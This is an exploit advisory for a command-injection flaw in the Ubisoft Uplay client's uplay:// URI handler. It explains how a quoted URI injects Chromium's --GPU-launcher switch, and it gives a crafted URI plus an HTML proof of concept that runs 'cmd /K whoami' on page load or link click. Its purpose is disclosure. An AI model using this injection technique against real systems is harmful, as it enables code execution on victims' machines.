Ubisoft Uplay Desktop Client 63.0.5699.0 - Remote Code Execution

# Exploit Title: Ubisoft Uplay Desktop Client 63.0.5699.0 - Remote Code Execution
# Date: 2018-09-01
# Exploit Author: Che-Chun Kuo
# Vulnerability Type: URI Parsing Command Injection
# Vendor Homepage: https://www.ubisoft.com/en-us/
# Software Link: https://uplay.ubi.com/
# Version: 63.0.5699.0
# Tested on: Windows, Microsoft Edge
# Advisory: https://forums.ubi.com/showthread.php/1912340-Uplay-PC-Client-July-17th-2018
# CVE: N/A

# Vulnerability
# The Uplay desktop client does not properly validate user-controlled data passed to its custom 
# uplay URI protocol handler. This flaw can be used to exploit the Chromium Embedded Framework (CEF) 
# integrated within the Uplay client, allowing for arbitrary code execution.  

# Installing Uplay registers the following custom uplay protocol handler: 
# HKEY_CLASSES_ROOT
#	uplay
#		(Default) = "URL:uplay Protocol"
#		URL Protocol = ""
#			DefaultIcon
#				(Default) = "upc.exe"
#		Shell
#			Open
#			Command
#				(Default) = "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\upc.exe" "%1"

# The %1 will be replaced with arguments from the URI. The following crafted URI performs arbitrary code execution: 

	'uplay://foobar" --GPU-launcher="cmd /K whoami &" --'

# When a victim opens this URI, the string is passed to the Windows ShellExecute function. 
# Microsoft states the following: "When ShellExecute executes the pluggable protocol handler with a 
# string on the command line, any non-encoded spaces, quotes, and backslashes in the URI will 
# be interpreted as part of the command line. This means that if you use C/C++’s argc and 
# argv to determine the arguments passed to your application, the string may be broken 
# across multiple parameters."
	
# "Malicious parties could use additional quote or backslash characters to pass additional command 
# line parameters. For this reason, pluggable protocol handlers should assume that any parameters on 
# the command line could come from malicious parties, and carefully validate them."

# The Uplay desktop client does not properly validate user-controlled data. An attacker can inject 
# certain Chromium flags that allow for arbitrary code execution. The malicious URI breaks the 
# command line with a quote character and inserts a new switch called --GPU-launcher. Since the 
# Uplay client uses the Chromium Embedded Framework (CEF), Chromium command lines switches are supported.
# The --GPU-launcher switch provides a method to execute arbitrary commands. The following string shows 
# the final command, which opens the Windows command prompt and executes the whoami program. 
	
	"C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\upc.exe" "foobar" --GPU-launcher="cmd /K whoami &" --"
	
# Attack Scenario
# The following attack scenario would result in the compromise of a victim's machine with the vulnerable 
# Uplay client installed. A user running Microsoft Edge visits a specially crafted webpage or clicks on a 
# specially crafted link. The user is served with the prompt: Did you mean to switch apps? Microsoft Edge 
# is trying to open "UPlay launcher". After the user gives consent, the vulnerable application runs, 
# resulting in arbitrary code execution in the context of the current process.

# This scenario also works on IE, but the IE browser shows the URI string to be opened and warns users against 
# opening untrusted content. Microsoft Edge provides no such warning. Chrome and Firefox both escape 
# illegal characters before passing the URI to the protocol handler.

# After Uplay desktop client (upc.exe) is run, upc.exe will attempt to open additional executables 
# before the --GPU-launcher is activated. One notable executable is the UplayService.exe. UplayService 
# requires elevated privileges. If the user is a non-administrative user a UAC prompt will appear. 
# It should be noted, this UAC prompt doesn't prevent command execution from occurring. 
# Regardless of which option the user chooses within the UplayService UAC prompt (Yes/No), 
# command execution will still occur once the code that passes the --GPU-launcher switch 
# to the CEF is triggered within upc.exe. 

# Proof of Concept
# The following POC provides two avenues to trigger the vulnerability within Microsoft Edge. 
# The first method triggers when the webpage is opened. The second method triggers when the 
# hyperlink is clicked by a user.

<!doctype html>
<a href='uplay://foobar" --GPU-launcher="cmd /K whoami &" --'>ubisoft uplay desktop client rce poc</a>

<script>
  window.location = 'uplay://foobar" --GPU-launcher="cmd /K whoami &" --'
</script>